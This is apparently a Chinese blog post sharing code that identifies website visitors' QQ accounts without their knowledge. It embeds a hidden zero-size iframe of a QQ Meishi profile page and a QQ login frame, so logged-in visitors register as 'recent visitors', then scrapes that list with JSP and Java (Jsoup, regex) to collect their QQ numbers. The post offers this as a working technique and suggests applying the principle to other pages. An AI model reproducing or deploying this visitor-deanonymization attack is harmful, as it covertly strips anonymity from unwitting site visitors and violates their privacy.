如今QQ美食这个页面应该是禁止了,但其余的页面原理同样能够参照
前段时间很火的一段代码,虽然只有%20-%30的获取率,但仍是很不错。 原理:主要是根据用户访问QQ美食我的主页会出现一个列表框。若用户登陆过QQ网页,包括邮件家园空间等。都会将信息记录在最近访问人页面。 根据这个。咱们能够设计一下大致思路,将QQ美食网页嵌入网页。经过读取QQ美食页面的最近访问人来得到来访者QQ 下面来看代码: 访问网站body页面嵌入
<iframe name="_login_frame_quick_" id="_login_frame_quick_" frameborder="no" scrolling="no" width="100%" height="100%" src="http://ui.ptlogin2.qq.com/cgi-bin/login?link_target=blank&target=self&appid=3001601&qlogin_jumpname=vipcomm&f_url=loginerroralert&qlogin_auto_login=0&s_url=http%3A//imgcache.qq.com/club/portal_new/redirect.html%3Fjump_url%3Dhttp%253A//meishi.qq.com/profiles/6246569&qlogin_param=jump_url%3Dhttp%253A//meishi.qq.com/profiles/6246569" style="height: 328px;"></iframe>
<%
out.print("<iframe style=\"width:0px; height:0px\" align=\"middle\" src=\"http://meishi.qq.com/profiles/6246569\" frameborder=\"0\" name=\"contactsFrame\" marginwidth=\"0\" scrolling=\"no\"></iframe>");
out.print(r.pl());
System.out.print(r.pl());
%>
java处理:
public String pl() {
Document doc = getHtml();
StringBuilder sb = new StringBuilder();
if (doc != null) {
Elements e = doc.getElementsByClass("style5");
Elements li = e.select("li");
for (Element element : li) {
Matcher m = numberPattern.matcher(element.toString());
while (m.find()) {
sb.append(m.group(1) + "--" + m.group(2) + "<br/>");
}
}
}
return sb.toString();
}